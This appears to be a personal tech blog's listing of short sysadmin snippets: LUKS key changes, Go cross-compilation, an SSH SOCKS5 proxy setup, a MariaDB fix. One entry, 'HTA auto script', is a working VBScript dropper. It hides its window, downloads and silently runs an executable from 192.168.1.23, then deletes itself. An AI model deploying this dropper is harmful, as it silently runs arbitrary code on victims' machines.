转：How To Install Java on Ubuntu with Apt-Get
ubuntu开机挂载移动硬盘
修改ubuntu 磁盘加密密钥
Here is the answer that worked for me, after Hamish helped me to realize my typo:
To add a new password, use luksAddKey:
sudo cryptsetup luksAddKey /dev/sda5
To remove an existing password, use luksRemoveKey:
sudo cryptsetup luksRemoveKey /dev/sda5
修改tomcat和java时区
跨平台编译Go
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build /xxx/xxx/xxx.go -o /xxx
减小体积：-ldflags "-s -w"
HTA auto script
<script language="VBScript">
window.moveTo 8888,8888
u="http://192.168.1.23/test.exe"
p="m.exe"
Set x=CreateObject("Microsoft.XMLHTTP")
x.Open"GET",u,0
x.Send()
Set s=CreateObject("ADODB.Stream")
s.Mode=3
s.Type=1
s.Open()
s.Write(x.responseBody)
s.SaveToFile p,2
Set w=CreateObject("Wscript.Shell")
w.Run p,0
w.Run"cmd /c del a.hta",0
window.resizeTo 0,0
window.close
</script>
metasploit tips
This simple information might be useful for you who use metasploit framework :-).
继续阅读metasploit tips
ssh via socks5 proxy
直接使用命令行：
ssh root@IP -p port -o ProxyCommand='nc -x 127.0.0.1:1086 %h %p'
修改配置文件：
vim ~/.ssh/config
添加
ProxyCommand /usr/bin/nc -x 127.0.0.1:1086 %h %p
MariaDB改完DATA_DIR无法启动的解决
无selinux,高版本MariaDB已默认关闭apparmor设置
问题是服务器设置造成的
修改/lib/systemd/system/mariadb.service
ProtectHome=false
默认禁止写/HOME目录，问题解决